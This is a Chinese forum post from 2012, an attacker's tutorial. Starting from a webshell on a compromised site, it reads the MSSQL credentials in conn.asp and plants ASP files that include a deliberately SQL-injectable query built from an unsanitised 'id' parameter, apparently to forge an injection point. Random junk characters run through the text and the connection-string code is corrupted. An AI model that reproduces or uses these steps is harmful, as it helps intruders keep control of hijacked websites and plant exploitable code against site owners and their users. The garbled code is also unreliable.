首先你要拿了一个webshell，这样你找到连接数据库的文件，大多都是conn.asp这个文件里面有mssql的用户和密码，你要找到用户名、密码、数据库所在的IP，然后连接上去，至于连接大家应该都会，找到网站管理员的表。因为我测试的时候是用管理员的表，我朋友说任何表名都可以，只要这个表存在，代码如下：
+ y2 E2 F5 A; t; o4 sASP/Visual Basic代码" Q0 u; m% i% o6 G; q! k
<!--#include file="xx.asp"-->
6 W# W0 C" h7 L<%
. K0 M% B- `6 U6 l; Z2 |9 Bset rs=server.createobject("ADODB.recordset") 0 o \1 ?/ [% {4 J7 c
id = request("id") - S" u: o/ ~1 s# g. k0 a
strSQL = "select * from admin where id=" & id % C, ~' D1 [( `
rs.open strSQL,conn,1,3
* {% X; T1 ^' q+ Drs.close . ^; {( s; C/ \% }; a
%> - K3 b" C8 P ]# K
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名，注意必须存在。你可以连接上去看下表名就是了！这里假设的是admin是表名！这个文件名随便保存！; i" z7 A% n, J6 E
然后就要构造一个连接数据库的文件了，代码如下：
* }( f+ T6 C2 w0 T/ A$ I! lASP/Visual Basic代码$ ~8 d& E( h+ G5 K% r
<%
( d6 \% F$ t* C1 b# ~strSQLServerName = "000.000.000.000" '服务器名称或地址 n( \8 P/ ^, {4 `) g( F
strSQLDBUserName = "sqlname" '数据库帐号 9 S# \: F2 ^' A. c7 u
strSQLDBPassword = "sqlpass" '数据库密码 6 w; j; Q O/ A/ U1 [& t1 j
strSQLDBName = "sqldataname" '数据库名称 $ u+ L" q& X; u: z+ ~
Set conn = Server.CreateObject("ADODB.Connection") - V$ h: ~- R! |* m1 x
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
1 G8 A6 N- ] h7 dconn.open strCon
( T4 O2 h( l: |# @: n' c3 \%>
! i6 _9 c$ C' e2 ], d这里应该都会了，就不罗嗦了，不过注意的是保存的文件名要和include调用的名字一样。就这样，正常情况下，就OK了，伪造成功& x. [' y& Z: f0 D; s
|
发表于 2012-9-13 17:53:08
收藏
支持
反对